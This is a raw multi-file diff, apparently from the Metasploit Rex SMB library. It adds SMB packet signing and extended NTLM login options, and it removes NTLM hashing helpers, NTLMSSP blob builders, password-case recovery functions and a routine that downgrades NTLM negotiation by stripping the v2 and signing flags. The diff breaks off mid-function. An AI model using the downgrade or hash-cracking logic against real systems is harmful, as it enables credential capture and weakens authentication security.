pkt['Payload']['SMB'].v['WordCount'] = 24
pkt['Payload'].v['AndX'] = 255
@ -1071,7 +1306,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_DELETE
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['TreeID'] = tree_id
pkt['Payload']['SMB'].v['WordCount'] = 1
@ -1095,7 +1337,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_OPEN_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 15
pkt['Payload'].v['AndX'] = 255
@ -1125,7 +1374,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['TreeID'] = tree_id
pkt['Payload']['SMB'].v['WordCount'] = 3
@ -1140,10 +1396,8 @@ EVADE = Rex::Proto::SMB::Evasions
return ack
end
# Writes data to an open file handle
def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true)
pkt = CONST::SMB_WRITE_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])
@ -1153,7 +1407,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2805
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 14
pkt['Payload'].v['AndX'] = 255
@ -1184,7 +1445,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['AndX'] = 255
@ -1272,7 +1540,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload'].v['ParamCountTotal'] = param.length
@ -1343,7 +1618,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload'].v['ParamCountTotal'] = param.length
@ -1406,7 +1688,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload'].v['ParamCountTotal'] = param.length
@ -1449,7 +1738,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload'].v['ParamCountTotal'] = param.length
@ -1488,7 +1784,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count
pkt['Payload'].v['ParamCountTotal'] = param.length
@ -1526,7 +1829,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 18
pkt['Payload'].v['ParamCountTotal'] = param.length
@ -1757,7 +2067,8 @@ EVADE = Rex::Proto::SMB::Evasions
# public read/write methods
attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts
attr_accessor :system_time, :system_zone
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
attr_accessor :system_time, :system_zone
# public read methods
attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
@ -1765,6 +2076,8 @@ EVADE = Rex::Proto::SMB::Evasions
attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
attr_reader :dns_host_name, :dns_domain_name
attr_reader :security_mode, :server_guid
#signing related
attr_reader :sequence_counter,:signing_key, :require_signing
# private methods
attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
@ -1772,6 +2085,8 @@ EVADE = Rex::Proto::SMB::Evasions
attr_writer :dns_host_name, :dns_domain_name
attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
attr_writer :security_mode, :server_guid
#signing related
attr_writer :sequence_counter,:signing_key, :require_signing
attr_accessor :socket

View File

@ -50,7 +50,7 @@ class Rex::Proto::SMB::Client::UnitTest < Test::Unit::TestCase
assert_kind_of(Rex::Struct2::CStruct, ok)
# puts "[*] Authenticating with NTLMv2..."
ok = c.session_setup_ntlmv2($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS)
ok = c.session_setup_with_ntlmssp($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS)
assert_kind_of(Rex::Struct2::CStruct, ok)
assert_not_equal(c.auth_user_id, 0)
@ -122,7 +122,7 @@ class Rex::Proto::SMB::Client::UnitTest < Test::Unit::TestCase
assert_kind_of(Rex::Struct2::CStruct, ok)
# puts "[*] Authenticating with NTLMv2..."
ok = c.session_setup_ntlmv2($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS)
ok = c.session_setup_with_ntlmssp($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS)
assert_kind_of(Rex::Struct2::CStruct, ok)
assert_not_equal(c.auth_user_id, 0)
@ -171,11 +171,11 @@ class Rex::Proto::SMB::Client::UnitTest < Test::Unit::TestCase
assert_kind_of(Rex::Struct2::CStruct, ok)
# puts "[*] Authenticating with NTLMv2..."
ok = c.session_setup_ntlmv2
ok = c.session_setup_with_ntlmssp
assert_kind_of(Rex::Struct2::CStruct, ok)
# puts "[*] Authenticating with NTLMv1..."
ok = c.session_setup_ntlmv1
ok = c.session_setup_no_ntlmssp
assert_kind_of(Rex::Struct2::CStruct, ok)
# puts "[*] Authenticating with clear text passwords..."

View File

@ -102,10 +102,7 @@ SMB2_OP_GETINFO = 0x10
SMB2_OP_SETINFO = 0x11
SMB2_OP_BREAK = 0x12
# NTLM Response Type
NTLM_V1_RESPONSE = 1
NTLM_V2_RESPONSE = 2
NTLM_2_SESSION_RESPONSE = 3
# SMB_COM_NT_TRANSACT Subcommands
NT_TRANSACT_CREATE = 1 # File open/create
NT_TRANSACT_IOCTL = 2 # Device IOCTL
@ -1042,27 +1039,6 @@ SMB_SEARCH_HDR_PKT = Rex::Struct2::CStructTemplate.new(
)
SMB_SEARCH_PKT = self.make_nbs(SMB_SEARCH_HDR_PKT)
# NTLMSSP Message Flags
NEGOTIATE_UNICODE = 0x00000001 # Only set if Type 1 contains it - this or oem, not both
NEGOTIATE_OEM = 0x00000002 # Only set if Type 1 contains it - this or unicode, not both
REQUEST_TARGET = 0x00000004 # If set in Type 1, must return domain or server
NEGOTIATE_SIGN = 0x00000010 # Session signature required
NEGOTIATE_SEAL = 0x00000020 # Session seal required
NEGOTIATE_LMKEY = 0x00000080 # LM Session Key should be used for signing and sealing
NEGOTIATE_NTLM = 0x00000200 # NTLM auth is supported
NEGOTIATE_ANONYMOUS = 0x00000800 # Anonymous context used
NEGOTIATE_DOMAIN = 0x00001000 # Sent in Type1, client gives domain info
NEGOTIATE_WORKSTATION = 0x00002000 # Sent in Type1, client gives workstation info
NEGOTIATE_LOCAL_CALL = 0x00004000 # Server and client are on same machine
NEGOTIATE_ALWAYS_SIGN = 0x00008000 # Add signatures to packets
TARGET_TYPE_DOMAIN = 0x00010000 # If REQUEST_TARGET, we're adding the domain name
TARGET_TYPE_SERVER = 0x00020000 # If REQUEST_TARGET, we're adding the server name
TARGET_TYPE_SHARE = 0x00040000 # Supposed to denote "a share" but for a webserver?
NEGOTIATE_NTLM2_KEY = 0x00080000 # NTLMv2 Signature and Key exchanges
NEGOTIATE_TARGET_INFO = 0x00800000 # Server set when sending Target Information Block
NEGOTIATE_128 = 0x20000000 # 128-bit encryption supported
NEGOTIATE_KEY_EXCH = 0x40000000 # Client will supply encrypted master key in Session Key field of Type3 msg
NEGOTIATE_56 = 0x80000000 # 56-bit encryption supported
end
end

View File

@ -15,76 +15,23 @@ class Crypt
begin
def self.lanman_des(pass, chal)
e_p24( [ e_p16( [ pass.upcase()[0,14] ].pack('a14') ) ].pack('a21'), chal)
#return a smb packet signed
def self.sign_smb_packet(mackey, sequence_counter, data)
seq = Rex::Text::pack_int64le(sequence_counter)
netbios_hdr = data.slice!(0,4)
data[14,8] = seq
signature = OpenSSL::Digest::MD5.digest(mackey + data)[0,8]
data[14,8] = signature
netbios_hdr + data
end
def self.e_p16(pass)
stat = "\x4b\x47\x53\x21\x40\x23\x24\x25"
des_hash(stat, pass[0,7]) << des_hash(stat, pass[7,7])
def self.is_signature_correct?(mackey, sequence_counter, data)
signature1 = data[18,8]
signature2 = sign_smb_packet(mackey, sequence_counter, data.dup)[18,8]
return signature1 == signature2
end
def self.e_p24(pass, chal)
des_hash(chal, pass[0,7]) << des_hash(chal, pass[7,7]) << des_hash(chal, pass[14,7])
end
def self.des_hash(data, ckey)
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
cipher = OpenSSL::Cipher::Cipher.new('des-ecb')
cipher.encrypt
cipher.key = des_56_to_64(ckey)
cipher.update(data)
end
def self.des_56_to_64(ckey56s)
ckey64 = []
ckey56 = ckey56s.unpack('C*')
ckey64[0] = ckey56[0]
ckey64[1] = ((ckey56[0] << 7) & 0xFF) | (ckey56[1] >> 1)
ckey64[2] = ((ckey56[1] << 6) & 0xFF) | (ckey56[2] >> 2)
ckey64[3] = ((ckey56[2] << 5) & 0xFF) | (ckey56[3] >> 3)
ckey64[4] = ((ckey56[3] << 4) & 0xFF) | (ckey56[4] >> 4)
ckey64[5] = ((ckey56[4] << 3) & 0xFF) | (ckey56[5] >> 5)
ckey64[6] = ((ckey56[5] << 2) & 0xFF) | (ckey56[6] >> 6)
ckey64[7] = (ckey56[6] << 1) & 0xFF
ckey64.pack('C*')
end
def self.ntlm_md4(pass, chal)
e_p24( [ md4_hash(Rex::Text.to_unicode(pass)) ].pack('a21'), chal)
end
def self.md4_hash(data)
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
digest = OpenSSL::Digest::MD4.digest(data)
end
def self.md5_hash(data)
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
digest = OpenSSL::Digest::MD5.digest(data)
end
def self.lm2nt(pass, ntlm)
res = nil
Rex::Text.permute_case( pass.upcase ).each do |word|
if(md4_hash(Rex::Text.to_unicode(word)) == ntlm)
res = word
break
end
end
res
end
def self.lmchal2ntchal(pass, ntlm, challenge)
res = nil
Rex::Text.permute_case( pass.upcase ).each do |word|
if(ntlm_md4(word,challenge) == ntlm)
res = word
break
end
end
res
end
rescue LoadError
end

View File

@ -1,20 +0,0 @@
#!/usr/bin/env ruby
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..'))
require 'rex/test'
require 'rex/proto/smb/crypt'
class Rex::Proto::SMB::Crypt::UnitTest < Test::Unit::TestCase
Klass = Rex::Proto::SMB::Crypt
def test_parse
pass = "XXXXXXX"
chal = "Z" * 8
assert_equal("\xc2\x48\xcf\x61\x65\xfe\x55\xef\xac\xa0\x30\x09\x66\xdc\x37\x96\x04\x6b\x9c\x0b\xb4\xa5\x2e\x27", Klass.lanman_des(pass, chal), 'lanman_des')
assert_equal("\x8d\x04\x18\x58\xf0\x78\xcc\xfa\x15\x60\xa4\x61\x76\x90\xe5\x51\x84\xfd\x70\xec\x7f\x23\xb7\xf9", Klass.ntlm_md4(pass, chal), 'ntlm_md4')
end
end

View File

@ -829,6 +829,18 @@ class NTLM2MissingChallenge < Error
end
end
class SigningError < Error
def to_s
"Unable to handle signing in this situation"
end
end
class IncorrectSigningError < Error
def to_s
"The signature sent by the server is not correct"
end
end
class SimpleClientError < Error
attr_accessor :source, :fatal
end

View File

@ -179,14 +179,24 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
self.shares = { }
end
def login(name = '', user = '', pass = '', domain = '')
def login( name = '', user = '', pass = '', domain = '',
verify_signature = false, usentlmv2 = false, usentlm2_session = true,
send_lm = true, use_lanman_key = false, send_ntlm = true,
native_os = 'Windows 2000 2195', native_lm = 'Windows 2000 5.0')
begin
if (self.direct != true)
self.client.session_request(name)
end
self.client.native_os = native_os
self.client.native_lm = native_lm
self.client.verify_signature = verify_signature
self.client.use_ntlmv2 = usentlmv2
self.client.usentlm2_session = usentlm2_session
self.client.send_lm = send_lm
self.client.use_lanman_key = use_lanman_key
self.client.send_ntlm = send_ntlm
self.client.negotiate
ok = self.client.session_setup(user, pass, domain)
rescue ::Interrupt
@ -233,7 +243,7 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
def login_split_next_ntlm1(user, domain, hash_lm, hash_nt)
begin
ok = self.client.session_setup_ntlmv1_prehash(user, domain, hash_lm, hash_nt)
ok = self.client.session_setup_no_ntlmssp_prehash(user, domain, hash_lm, hash_nt)
rescue ::Interrupt
raise $!
rescue ::Exception => e
@ -261,14 +271,16 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
self.shares.delete(share)
end
def open(path, perm)
def open(path, perm, chunk_size = 48000)
mode = UTILS.open_mode_to_mode(perm)
access = UTILS.open_mode_to_access(perm)
ok = self.client.open(path, mode, access)
file_id = ok['Payload'].v['FileID']
fh = OpenFile.new(self.client, path, self.client.last_tree_id, file_id)
fh.chunk_size = chunk_size
fh
end
def delete(*args)

View File

@ -96,505 +96,7 @@ CONST = Rex::Proto::SMB::Constants
return decoded
end
#
# Prepends an ASN1 formatted length field to a piece of data
#
def self.asn1encode(str = '')
res = ''
# If the high bit of the first byte is 1, it contains the number of
# length bytes that follow
case str.length
when 0 .. 0x7F
res = [str.length].pack('C') + str
when 0x80 .. 0xFF
res = [0x81, str.length].pack('CC') + str
when 0x100 .. 0xFFFF
res = [0x82, str.length].pack('Cn') + str
when 0x10000 .. 0xffffff
res = [0x83, str.length >> 16, str.length & 0xFFFF].pack('CCn') + str
when 0x1000000 .. 0xffffffff
res = [0x84, str.length].pack('CN') + str
else
raise "ASN1 str too long"
end
return res
end
def self.make_ntlmv2_secblob_init(domain = 'WORKGROUP', name = 'WORKSTATION', flags=0x80201)
blob =
"\x60" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x05\x05\x02"
) +
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
)
)
) +
"\xa2" + self.asn1encode(
"\x04" + self.asn1encode(
"NTLMSSP\x00" +
[1, flags].pack('VV') +
[
domain.length, #length
domain.length, #max length
32
].pack('vvV') +
[
name.length, #length
name.length, #max length
domain.length + 32
].pack('vvV') +
domain + name
)
)
)
)
)
return blob
end
def self.make_ntlmv2_secblob_auth(domain, name, user, lmv2, ntlm, flags = 0x080201)
lmv2 ||= "\x00" * 24
ntlm ||= "\x00" * 24
domain_uni = Rex::Text.to_unicode(domain)
user_uni = Rex::Text.to_unicode(user)
name_uni = Rex::Text.to_unicode(name)
session = ''
ptr = 64
blob =
"\xa1" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa2" + self.asn1encode(
"\x04" + self.asn1encode(
"NTLMSSP\x00" +
[ 3 ].pack('V') +
[ # Lan Manager Response
lmv2.length,
lmv2.length,
(ptr)
].pack('vvV') +
[ # NTLM Manager Response
ntlm.length,
ntlm.length,
(ptr += lmv2.length)
].pack('vvV') +
[ # Domain Name
domain_uni.length,
domain_uni.length,
(ptr += ntlm.length)
].pack('vvV') +
[ # Username
user_uni.length,
user_uni.length,
(ptr += domain_uni.length)
].pack('vvV') +
[ # Hostname
name_uni.length,
name_uni.length,
(ptr += user_uni.length)
].pack('vvV') +
[ # Session Key (none)
session.length,
session.length,
(ptr += name_uni.length)
].pack('vvV') +
[ flags ].pack('V') +
lmv2 +
ntlm +
domain_uni +
user_uni +
name_uni +
session + "\x00"
)
)
)
)
return blob
end
#This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind :
#mechTypes: 2 items :
# -MechType: 1.3.6.1.4.1.311.2.2.30 (SNMPv2-SMI::enterprises.311.2.2.30)
# -MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
#
#this is the default on Win7
def self.make_simple_negotiate_secblob_resp
blob =
"\x60" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x05\x05\x02"
) +
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
)
)
)
)
)
)
return blob
end
#This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind :
#mechTypes: 4 items :
# MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
# MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
# MechType: 1.2.840.113554.1.2.2.3 (KRB5 - Kerberos 5 - User to User)
# MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
#mechListMIC:
# principal: account@domain
def self.make_negotiate_secblob_resp(account, domain)
blob =
"\x60" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x05\x05\x02"
) +
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"
) +
"\x06" + self.asn1encode(
"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"
) +
"\x06" + self.asn1encode(
"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"
) +
"\x06" + self.asn1encode(
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
)
)
) +
"\xa3" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x1b" + self.asn1encode(
account + '@' + domain
)
)
)
)
)
)
)
return blob
end
def self.make_ntlmv2_secblob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
blob =
"\xa1" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x0a" + self.asn1encode(
"\x01"
)
) +
"\xa1" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
)
) +
"\xa2" + self.asn1encode(
"\x04" + self.asn1encode(
make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags)
)
)
)
)
return blob
end
def self.make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags)
addr_list = ''
addr_list << [2, win_domain.length].pack('vv') + win_domain
addr_list << [1, win_name.length].pack('vv') + win_name
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
addr_list << [3, dns_name.length].pack('vv') + dns_name
addr_list << [0, 0].pack('vv')
ptr = 0
blob = "NTLMSSP\x00" +
[2].pack('V') +
[
win_domain.length, # length
win_domain.length, # max length
(ptr += 48) # offset
].pack('vvV') +
[ flags ].pack('V') +
chall +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
[
addr_list.length, # length
addr_list.length, # max length
(ptr += win_domain.length)
].pack('vvV') +
win_domain +
addr_list
return blob
end
def self.make_ntlmv2_secblob_success
blob =
"\xa1" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x0a" + self.asn1encode(
"\x00"
)
)
)
)
return blob
end
#
# Process Type 3 NTLM Message (in Base64)
#
# from http://www.innovation.ch/personal/ronald/ntlm.html
#
# struct {
# byte protocol[8]; // 'N', 'T', 'L', 'M', 'S', 'S', 'P', '\0'
# byte type; // 0x03
# byte zero[3];
#
# short lm_resp_len; // LanManager response length (always 0x18)
# short lm_resp_len; // LanManager response length (always 0x18)
# short lm_resp_off; // LanManager response offset
# byte zero[2];
#
# short nt_resp_len; // NT response length (always 0x18)
# short nt_resp_len; // NT response length (always 0x18)
# short nt_resp_off; // NT response offset
# byte zero[2];
#
# short dom_len; // domain string length
# short dom_len; // domain string length
# short dom_off; // domain string offset (always 0x40)
# byte zero[2];
#
# short user_len; // username string length
# short user_len; // username string length
# short user_off; // username string offset
# byte zero[2];
#
# short host_len; // host string length
# short host_len; // host string length
# short host_off; // host string offset
# byte zero[6];
#
# short msg_len; // message length
# byte zero[2];
#
# short flags; // 0x8201
# byte zero[2];
#
# byte dom[*]; // domain string (unicode UTF-16LE)
# byte user[*]; // username string (unicode UTF-16LE)
# byte host[*]; // host string (unicode UTF-16LE)
# byte lm_resp[*]; // LanManager response
# byte nt_resp[*]; // NT response
# } type_3_message
#
def self.process_type3_message(message)
decode = Rex::Text.decode_base64(message.strip)
type = decode[8,1].unpack("C").first
if (type == 3)
lm_len = decode[12,2].unpack("v").first
lm_offset = decode[16,2].unpack("v").first
lm = decode[lm_offset, lm_len].unpack("H*").first
nt_len = decode[20,2].unpack("v").first
nt_offset = decode[24,2].unpack("v").first
nt = decode[nt_offset, nt_len].unpack("H*").first
dom_len = decode[28,2].unpack("v").first
dom_offset = decode[32,2].unpack("v").first
domain = decode[dom_offset, dom_len]
user_len = decode[36,2].unpack("v").first
user_offset = decode[40,2].unpack("v").first
user = decode[user_offset, user_len]
host_len = decode[44,2].unpack("v").first
host_offset = decode[48,2].unpack("v").first
host = decode[host_offset, host_len]
return domain, user, host, lm, nt
else
return "", "", "", "", ""
end
end
#
# Process Type 1 NTLM Messages, return a Base64 Type 2 Message
#
def self.process_type1_message(message, nonce = "\x11\x22\x33\x44\x55\x66\x77\x88", win_domain = 'DOMAIN',
win_name = 'SERVER', dns_name = 'server', dns_domain = 'example.com', downgrade = true)
dns_name = Rex::Text.to_unicode(dns_name + "." + dns_domain)
win_domain = Rex::Text.to_unicode(win_domain)
dns_domain = Rex::Text.to_unicode(dns_domain)
win_name = Rex::Text.to_unicode(win_name)
decode = Rex::Text.decode_base64(message.strip)
type = decode[8,1].unpack("C").first
if (type == 1)
# A type 1 message has been received, lets build a type 2 message response
reqflags = decode[12,4]
reqflags = reqflags.unpack("V").first
if (reqflags & CONST::REQUEST_TARGET) == CONST::REQUEST_TARGET
if (downgrade)
# At this time NTLMv2 and signing requirements are not supported
if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY
reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY
end
if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN
reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN
end
end
flags = reqflags + CONST::TARGET_TYPE_DOMAIN + CONST::TARGET_TYPE_SERVER
tid = true
tidoffset = 48 + win_domain.length
tidbuff =
[2].pack('v') + # tid type, win domain
[win_domain.length].pack('v') +
win_domain +
[1].pack('v') + # tid type, server name
[win_name.length].pack('v') +
win_name +
[4].pack('v') + # tid type, domain name
[dns_domain.length].pack('v') +
dns_domain +
[3].pack('v') + # tid type, dns_name
[dns_name.length].pack('v') +
dns_name
else
flags = CONST::NEGOTIATE_UNICODE + CONST::NEGOTIATE_NTLM
tid = false
end
type2msg = "NTLMSSP\0" + # protocol, 8 bytes
"\x02\x00\x00\x00" # type, 4 bytes
if (tid)
type2msg += # Target security info, 8 bytes. Filled if REQUEST_TARGET
[win_domain.length].pack('v') + # Length, 2 bytes
[win_domain.length].pack('v') # Allocated space, 2 bytes
end
type2msg +="\x30\x00\x00\x00" + # Offset, 4 bytes
[flags].pack('V') + # flags, 4 bytes
nonce + # the nonce, 8 bytes
"\x00" * 8 # Context (all 0s), 8 bytes
if (tid)
type2msg += # Target information security buffer. Filled if REQUEST_TARGET
[tidbuff.length].pack('v') + # Length, 2 bytes
[tidbuff.length].pack('v') + # Allocated space, 2 bytes
[tidoffset].pack('V') + # Offset, 4 bytes (usually \x48 + length of win_domain)
win_domain + # Target name data (domain in unicode if REQUEST_UNICODE)
# Target information data
tidbuff + # Type, 2 bytes
# Length, 2 bytes
# Data (in unicode if REQUEST_UNICODE)
"\x00\x00\x00\x00" # Terminator, 4 bytes, all \x00
end
type2msg = Rex::Text.encode_base64(type2msg).delete("\n") # base64 encode and remove the returns
else
# This is not a Type2 message
type2msg = ""
end
return type2msg
end
#
# Downgrading Type messages to LMv1/NTLMv1 and removing signing
#
def self.downgrade_type_message(message)
decode = Rex::Text.decode_base64(message.strip)
type = decode[8,1].unpack("C").first
if (type > 0 and type < 4)
reqflags = decode[12..15] if (type == 1 or type == 3)
reqflags = decode[20..23] if (type == 2)
reqflags = reqflags.unpack("V")
# Remove NEGOTIATE_NTLMV2_KEY and NEGOTIATE_ALWAYS_SIGN, this lowers the negotiation
# down to LMv1/NTLMv1.
if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY
reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY
end
if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN
reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN
end
# Return the flags back to the decode so we can base64 it again
flags = reqflags.to_s(16)
0.upto(8) do |idx|
if (idx > flags.length)
flags.insert(0, "0")
end
end
idx = 0
0.upto(3) do |cnt|
if (type == 2)
decode[23-cnt] = [flags[idx,1]].pack("C")
else
decode[15-cnt] = [flags[idx,1]].pack("C")
end
idx += 2
end
end
return Rex::Text.encode_base64(decode).delete("\n") # base64 encode and remove the returns
end
end
end
end

View File

@ -414,6 +414,33 @@ module Text
end
end
#
# Converts a unicode string to standard ASCII text.
#
def self.to_ascii(str='', type = 'utf-16le', mode = '', size = '')
return '' if not str
case type
when 'utf-16le'
return str.unpack('v*').pack('C*')
when 'utf-16be'
return str.unpack('n*').pack('C*')
when 'utf-32le'
return str.unpack('V*').pack('C*')
when 'utf-32be'
return str.unpack('N*').pack('C*')
when 'utf-7'
raise TypeError, 'invalid utf type, not yet implemented'
when 'utf-8'
raise TypeError, 'invalid utf type, not yet implemented'
when 'uhwtfms' # suggested name from HD :P
raise TypeError, 'invalid utf type, not yet implemented'
when 'uhwtfms-half' # suggested name from HD :P
raise TypeError, 'invalid utf type, not yet implemented'
else
raise TypeError, 'invalid utf type'
end
end
#
# Encode a string in a manor useful for HTTP URIs and URI Parameters.
#
@ -1036,6 +1063,28 @@ module Text
[bits.join].pack("B32").unpack("N")[0]
end
#
# Split a string by n charachter into an array
#
def self.split_to_a(str, n)
if n > 0
